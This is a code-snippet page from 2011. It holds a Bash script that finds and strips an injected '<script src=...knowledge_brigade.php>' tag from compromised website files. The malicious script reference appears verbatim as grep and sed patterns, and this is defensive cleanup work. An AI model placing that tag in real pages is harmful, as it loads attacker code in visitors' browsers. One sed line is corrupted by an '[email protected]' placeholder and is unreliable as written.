Return to Snippet

Revision: 39270
at January 15, 2011 16:01 by timberjorge


Initial Code
# remove .cleaned extension
find * -name '*.cleaned' -exec rename -v s/\.cleaned//g {} \;

# move files
find * -name '*.cleaned' -exec mv "{}" cleaned-files/"{}" \;

# create directories
# first sed pipe gets me file path without the filename, second sed pipe removes lines that are just filenames
find * -name '*.cleaned' -exec sh -c 'echo "{}" | sed -E "s,(.*)/.*$,\1,g" | sed -E "s,(.*\..*)$,,g"' \; | while read i; do mkdir -p "cleaned-files/$i"; done

# clean infected js
while read i; do sed -E -i.cleaned "[email protected]\('<script src=http://icat.ac.in/outreach/knowledge_brigade.php ><\\\/script>'\);@@g" "$i"; done < infected-files.txt

# clean other files
while read i; do sed -E -i.cleaned "s,<script src=http://icat.ac.in/outreach/knowledge_brigade.php ></script>,,g" "$i"; done < infected-files.txt

# find infected js
grep -H -r -l -E "document.write\('<script src=http://icat.ac.in/outreach/knowledge_brigade.php ><\\\/script>'\);" * >> infected-files.txt

# find other infected files
grep -H -r -l -E "<script src=http://icat.ac.in/outreach/knowledge_brigade.php ></script>" * >> infected-files.txt

Initial URL

                                

Initial Description
1. You'll need the perl-based rename script http://tips.webdesign10.com/how-to-bulk-rename-files-in-linux-in-the-terminal
2. I'm using Terminal on mac so you might need to change some of your flags

Initial Title
Removing text from multiple files and creating a clean copy

Initial Tags
mac, find

Initial Language
Bash